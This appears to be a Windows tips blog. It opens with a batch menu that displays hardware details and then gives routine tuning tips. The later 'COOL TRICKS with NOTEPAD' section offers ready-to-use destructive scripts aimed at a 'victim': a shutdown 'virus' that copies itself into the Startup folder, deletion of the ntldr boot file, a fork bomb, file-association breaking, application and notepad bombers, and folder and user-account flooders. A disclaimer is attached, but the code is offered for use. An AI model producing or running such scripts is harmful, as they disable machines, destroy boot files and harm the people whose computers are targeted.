Translate

Saturday 23 August 2014

Batch code for seeing all the importance informations about your CPU Configuration.

@echo off
:st
color F5
mode con: cols=53 lines=19
title Know about your Computer : Made by Ravi Singh
echo *****************************************************
echo.
echo This software is for home and personal use only.
echo Do not sale or use it at commercial label!!
echo.
echo *****************************************************
pause
cls
:start
color F5
mode con: cols=54 lines=19
echo :::: Know your Processor ::::
echo --------------------------------
echo.
echo 1. Type "N" to see the model number of youe CPU.
echo 2.Type "S" to see your CPU's maximun speed(in MHz).
echo 3. Type "C" to see your CPU's numbers of CORE.
echo 4.Type "L2" to see your L2 cache memory size(in KB).
echo 5. Type "L3" to see your L3 cache memory size(in KB).
echo 6.Type "A" to see your CPU's architecture(in Bit).
echo 7. Type "M" to see your CPU's company name.
echo 8.Type "SN" to see your CPU running on which Socket?
echo.
echo ***Type "Q" to Exit.
echo ***Type "n" for goto next page.
echo ******************************************************
set input=none
set /p "input=Input>"
CLS
if %input%==n goto getknowboard
if %input%==N goto name
if %input% EQU none goto error2
if %input%==C goto core
if %input%==c goto core
if %input%==S goto speed
if %input%==s goto speed
if %input%==A goto archi
if %input%==a goto archi
if %input%==L2 goto l2
if %input%==l2 goto l2
if %input%==L3 goto l3
if %input%==l3 goto l3
if %input%==M goto manufacturer
if %input%==m goto manufacturer
if %input%==SN goto Socket
if %input%==sn goto Socket
if %input%==N goto name
if %input%==n goto name
if %input%==Q goto exit
if %input%==q goto exit (else
goto error1
)
:speed
wmic CPU GET MAXCLOCKSPEED
pause
cls
goto start
:archi
wmic CPU GET DATAWIDTH
pause
cls
goto start
:l2
wmic cpu get L2CACHESIZE
pause
cls
goto start
:error
color FC
echo Sorry!Input should be in CAPITAL letter.
pause
cls
goto start
:manufacturer
wmic cpu get manufacturer
pause
cls
goto start
:Socket
wmic cpu get SocketDesignation
pause
cls
goto start
:name
WMIC CPU GET NAME
pause
cls
goto start
:l3
wmic cpu get L3CACHESIZE
pause
cls
goto start
:core
echo You have %NUMBER_OF_PROCESSORS% core(s) in your CPU
pause
cls
goto start
:error1
color FC
echo Sorry!no match found for your input "%input%".
pause
cls
goto start
:error2
color FC
echo You did'n select anything.Please provide an Input.
pause
cls
goto start
:getknowboard
COLOR F5
cls
mode con: cols=53 lines=21
echo :::: Know your Motherboard ::::
echo --------------------------------
echo.
echo 1. Type "MN" for name of Motherboard Company.
echo 2.Type "PR" for model no. of your Motherboard.
echo 3. Type "SE" for MB's serial no.
echo 4.Type "VE" for MB's version.
echo 5. Type "BI" for BIOS info.
echo 6.Type "SB" for SMBIOS version.
echo 7. Type "BV" for BIOS Version.
echo 8.Type "DA" for BIOS release date.
echo 9. Type "LN" fot Installed languages in BIOS.
echo.
echo ***Type "n" for next page.
echo ***Type "b" to go Back.
echo ***Type "Q" for exit.
echo *****************************************************
set input2=none
set /p "input2=Input>"
CLS
if %input2%==b goto start
if %input2%==B goto start
if %input2%==n goto DISK
if %input2%==n goto DISK
if %input2% EQU none goto error3
if %input2%==MN goto motherboardname
if %input2%==mn goto motherboardname
if %input2%==PR goto mbmodel
if %input2%==pr goto mbmodel
if %input2%==SE goto mbse
if %input2%==se goto mbse
if %input2%==VE goto mbver
if %input2%==ve goto mbver
if %input2%==BI goto bios
if %input2%==bi goto bios
if %input2%==SB goto smbios
if %input2%==sb goto smbios
if %input2%==BV goto biosver
if %input2%==bv goto biosver
if %input2%==DA goto biosdate
if %input2%==da goto biosdate
if %input2%==LN goto bioslan
if %input2%==ln goto bioslan
if %input2%==Q goto exit
if %input2%==q goto exit else (
goto error5
)
:err0
COLOR FC
echo Please type in small letter.
pause
cls
goto getknowboard
:motherboardname
wmic baseboard get manufacturer
pause
cls
goto getknowboard
:mbmodel
wmic baseboard get product
pause
cls
goto getknowboard
:mbse
wmic baseboard get serialnumber
pause
cls
goto getknowboard
:mbver
wmic baseboard get version
pause
cls
goto getknowboard
:bios
wmic BIOS get name
pause
goto getknowboard
:smbios
wmic bios get smbiosbiosversion
pause
goto getknowboard
:biosver
wmic BIOS get version
pause
goto getknowboard
:biosdate
wmic BIOS get releasedate
pause
goto getknowboard
:bioslan
wmic BIOS get listoflanguages
pause
goto getknowboard
:error3
color FC
echo You did'n select anything.Please provide an Input.
pause
cls
goto getknowboard
:error4
color FC
echo Sorry!Inputs should be in CAPITAL letter.
pause
cls
goto getknowboard
:error5
color FC
echo Sorry!Nothing found with your input "%input2%".
pause
cls
goto getknowboard
:DISK
cls
color F5
mode con: cols=53 lines=21
echo :::: Know your Hard disk drive ::::
echo --------------------------------
echo.
echo 1. Type "MD" for HDD's model.
echo 2.Type "SD" for HDD's size(in bytes).
echo 3. Type "CT" for total Cylinders.
echo 4.Type "TT" for total Tracks.
echo 5. Type "TS" for total Sectors.
echo 6.Type "TC" for Track per Cylinder.
echo 7. Type "ST" for Sector per Track.
echo 8.Type "BS" for Bytes per Sector.
echo 9.Type "TH" for totat heads.
echo 10. Type "CP" for number(s) of current partition(s).
echo.
echo ***Type "B" to go back.
echo ***Type "Q" to exit.
echo *****************************************************
set input3=none
set /p "input3=Input>"
CLS
if %input3% EQU none goto err3
if %input3%==B goto getknowboard
if %input3%==b goto getknowboard
if %input3%==MD goto diskmodel
if %input3%==md goto diskmodel
if %input3%==SD goto sd
if %input3%==sd goto sd
if %input3%==CT goto ct
if %input3%==ct goto ct
if %input3%==TT goto tt
if %input3%==tt goto tt
if %input3%==TS goto ts
if %input3%==ts goto ts
if %input3%==TC goto tc
if %input3%==tc goto tc
if %input3%==ST goto st
if %input3%==st goto st
if %input3%==BS goto bs
if %input3%==bs goto bs
if %input3%==TS goto ts
if %input3%==ts goto ts
if %input3%==TH goto th
if %input3%==th goto th
if %input3%==CP goto cp
if %input3%==cp goto cp
if %input3%==Q goto exit
if %input3%==q goto exit
if %input3%==p goto getknowboard
if %input3%==P goto getknowboard (else
goto err2
)
:th
wmic DISKDRIVE GET TOTALHEADS
pause
goto DISK
:bs
wmic diskdrive get BytesPerSector
pause
cls
goto DISK
:sd
wmic Diskdrive get size
pause
CLS
goto DISK
:cp
wmic diskdrive get partitions
pause
CLS
goto DISK
:tc
wmic diskdrive TracksPerCylinder
pause
CLS
goto DISK
:ct
wmic diskdrive get TotalCylinders
pause
CLS
goto DISK
:ts
wmic diskdrive get TotalSectors
pause
CLS
goto DISK
:tt
wmic diskdrive get TotalTracks
pause
CLS
goto DISK
:st
wmic diskdrive get SectorsPerTrack
pause
CLS
goto DISK
:diskmodel
wmic diskdrive get model
pause
CLS
goto DISK
:err1
COLOR FC
echo Sorry! Input should be in CAPITAL LETTER.
pause
CLS
goto DISK
:err2
color FC
echo Sorry!Nothing found with your input "%input3%".
pause
cls
goto DISK
:err3
color FC
echo You did'n select anything.Please provide an Input.
pause
cls
goto DISK
:exit
cls
Echo Bye Bye
pause
===========================================================

How to Create your Own RUN Command

Step 1: Select the software for which you want to make custom Run command. For example, let us consider Mozilla Firefox. You may use any application or software other than which is already there in Run command.
Step 2: In next step Right click on the desktop and make a new Shortcut.
Step 3: As you select the Shortcut, it will open up a dialog box asking the path of the application or software for which you want to create
Step 4: Now you need to provide the path of the application's .exe file i.e. "firefox.exe". It can be found out in the C drive under Program files.
Step 5: After that just provide a relative name for the Shortcut that means rename it with the name which will be used as your Run command. For example, "ff" for Firefox.

Step 6: Now click on Finish button. Then the shortcut of respective application will be created on your desktop screen. Step 7: In the next step just cut and paste the created Shortcut into the root drive i.e. C:/Windows/. For this make sure you are the administrator of the computer.
Step 8: Now, you are done with the process of creating the Run command and you can Open Run Command and type "ff" to open Mozilla Firefox application.

==============================================================

Friday 22 August 2014

Disable Unwanted Hardware Drivers:


Another Effective tweak to boost your PC startup time. Whenever you Start your Computer it loads lots of Drivers that you might not even use. Bluetooth, Modem Etc are some of the examples.

So to Disable these unwanted drivers, Just open Device manager, to show up the list, Now go through the list and Right click on the one that you want to disable.. then Select Disable.

Remember that disable drivers of Hardwares that you do not use and you do not want to load on startup.

Defrag your Hard disk:


If you are looking for something in a messy room, naturally, it’s going to take you longer to find something. This is a good Example and suits HDD too. Over time, filing system gets disorganized. Periodically, you need to reorganize this filing system on your hard drive. Luckily, Windows has a good utility called Defrag that will put your system in order.

  1. Open the Start Menu
  2. Click on My Computer
  3. Right Click your C: drive.
  4. Scroll down to the Click Properties
  5. In the Properties Menus, Open the “Tools” menu.Choose Defragment.
  6. In the Disk Deframenter menu. Click on Defragment
Now wait for some time untill it finishes this task and Organize your HDD. Reboot your Computer afterwards. Registries can also affect somewhat for slow booting time, 
so better Download Registry Cleaner tools

Change BIOS Settings:


To Access the BIOS settings you need to hold DEL key when you start up your computer (or whatever key your BIOS tells you to enter setup), 

Now Change the Boot first option to Hard disk(HDD) By default it will be HDD but if you have ever installed windows, then you might have changed it to CD or Removable disk. So go to BIOS settings and change it to HDD again.

What this will do is it will turn off the tests your computer runs when it first turns on, and the boot priority tweak will tell your computer not to look for CDs, thumb drives, or other media when it first starts, which will get you booted into your OS quicker.

Tweaks to Speedup Windows Booting


1. Check Hard disk 

Over time, your hard drives gets degraded both physically and digitally. It’s important to monitor your drives health. An error or damaged sector can throw software loading into an infinite loop causing long load times. To check your drive health, So follow the below steps to check your HDD for errors

  • Click Start
  • Choose Computer
  • Right Click your Hard Drive
  • Choose Properties
  • Click Check Drives Health. After, the check up gives you repair options or a clean bill of health.
  • Restart to get a faster boot up.

Setting Time Limit in Windows


Step 1: Open the Control Panel by pressing the Windows key and the "I" key on your keyboard to open the Settings menu, then by clicking the "Control Panel" option on the menu that appears. The Control Panel will open.

Step 2: Click on "User accounts and family safety". You will see something like below picture


Now click on "Family Safety." Select the user account for which you want to apply a time limitation by clicking its icon.
Step 3: Select "Time Limits" To apply a certain time limitation on an account, click "Set time allowance" then use the drop-down menus provided to select a specific number of hours and minutes your child or Brother or Friend is allowed on the computer.

You can set a different time allowance for weekdays and weekends. In order to block certain spans of time, such as the hours during which your child/friend/brother is supposed to be doing homework, click "Curfew" then tap the white boxes for the hours you want to block on specific days.

For example, if you want to block the hour of 5PM on Monday and Friday, tap the hour block on those days to turn it blue, which will block it. So this was a simple tutorial to set time limits in windows computer that logs out your account after specific period of time that you set.

Tuesday 19 August 2014


Go to Google

Type or copy paste this below equation?

5 + (-sqrt(1-x^2-(y-abs(x))^2))*cos(30*((1-x^2-(y-abs(x))^2))), x is from -1 to 1, y is from -1 to 1.5, z is from 1 to 6

Enjoy..................

 ----------------------------------------------------------------------------------------------------------------------------------------
============================================================================
-----------------------------------------------------------------------------------------------------------------------------------------

You can view cached DNS entries from CMD.

Press
Win+ R

18

Type CMD  in Run window
Type the command below
ipconfig /displaydns

for delete
ipconfig /flushdns

19

Enjoy.................
 
-------------------------------------------------------------------------------------------------------------------------------------
==========================================================================
-------------------------------------------------------------------------------------------------------------------------------------
 

How to find the ip address of a perticular website ?


Press window key along with Letter R


18

then type CMD in Run Window
Then type the code below  in Command prompt box

19

c:\>  nslookup Website name
Ex = ex =  nslookup facebook.com
you will get the Result..............

Enjoy......................

-----------------------------------------------------------------------------------------------------------------------------------
=========================================================================
-----------------------------------------------------------------------------------------------------------------------------------

COOL TRICKS with NOTEPAD ("Use at you own Risk Blog is not Responsible for any wrong or lawsuit")

1) Shutdown Virus
 
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds
Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

==================================================================================================

2) Deleting boot files
 
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply
Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file
After running this batch file , system will not reboot and a normal victim would definitely install the windows again.
 
"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

==================================================================================================

3) Fork Bomb

Open a text file in notepad and write:

11

Type the command into the Notepad given below...
%0|%0 //Its percentage zero pipe percentage zero
save it...........
This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

Enjoy...............

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

=================================================================================================

4) Extension Changer

Open a text file in notepad and write:

11

Type the command into the Notepad given below...
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

15

Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

 "Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

=================================================================================================

5) How To Make Keyboard LED Dance ?

Open a text file in notepad and write:

11

Type the command into the Notepad given below.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

15

* Then save this file as led.vbs (.vbs is must)
* Open your save file and see your keyboard led blinking like disco lights.
How To Disable Blinking LED ?
* First open Task Manager (ctrl+alt+del)
* Then Go to process tab.
* Select wscript.exe
* Click on End process.

Enjoy..............
 
"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

---------------------------------------------------------------------------------------------------------------
==========================================================================
---------------------------------------------------------------------------------------------------------------

1)To make your pc talk


Open a New Notepad:

11

Type the command into the Notepad given below.....
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

12

Save the file with the help of Save As...

13

Save the file with a name "text to audio" along with(*.vbs) extension, it will create a Vb Script File.

15

Now save the file and go to desktop and then select the file and open it
It will prompt you for a text when u open the file, input the text and press OK."
u will hear now what u typed..
Enjoy..............

==================================================================================================

2)Popping CD Drives

This will make the CD drives constantly pop out
Open a text file in notepad and write:

11

Type the command into the Notepad given below.....

Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

16

save it as .Vbs Extension
Enjoy.............
"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

==================================================================================================
3)Endless Notepads

This will pop up endless notepads until the computer freezes and crashes
Open a text file in notepad and write:

11

Type the command into the Notepad given below.....
**Code:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

16

Save it as application Bomber.vbs
This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting performance.

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

=================================================================================================
4) Folder flooder

Open a text file in notepad and write:

11

Type the command into the Notepad given below.....

@echo off
:x
md %random% // makes directory/folder.
goto x
 
16

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.
Save it and ....................
Enjoy..................

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

=================================================================================================
5) User account flooder
 
Open a text file in notepad and write:

11

Type the command into the Notepad given below.....

@echo off
:x
net user %random% /add //create user account
goto x

15

This code would start creating windows user accounts whose names could be any random numbers.
Save it and................
Enjoy....................

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"
__________________________________________________________________________________________________
==================================================================================================
__________________________________________________________________________________________________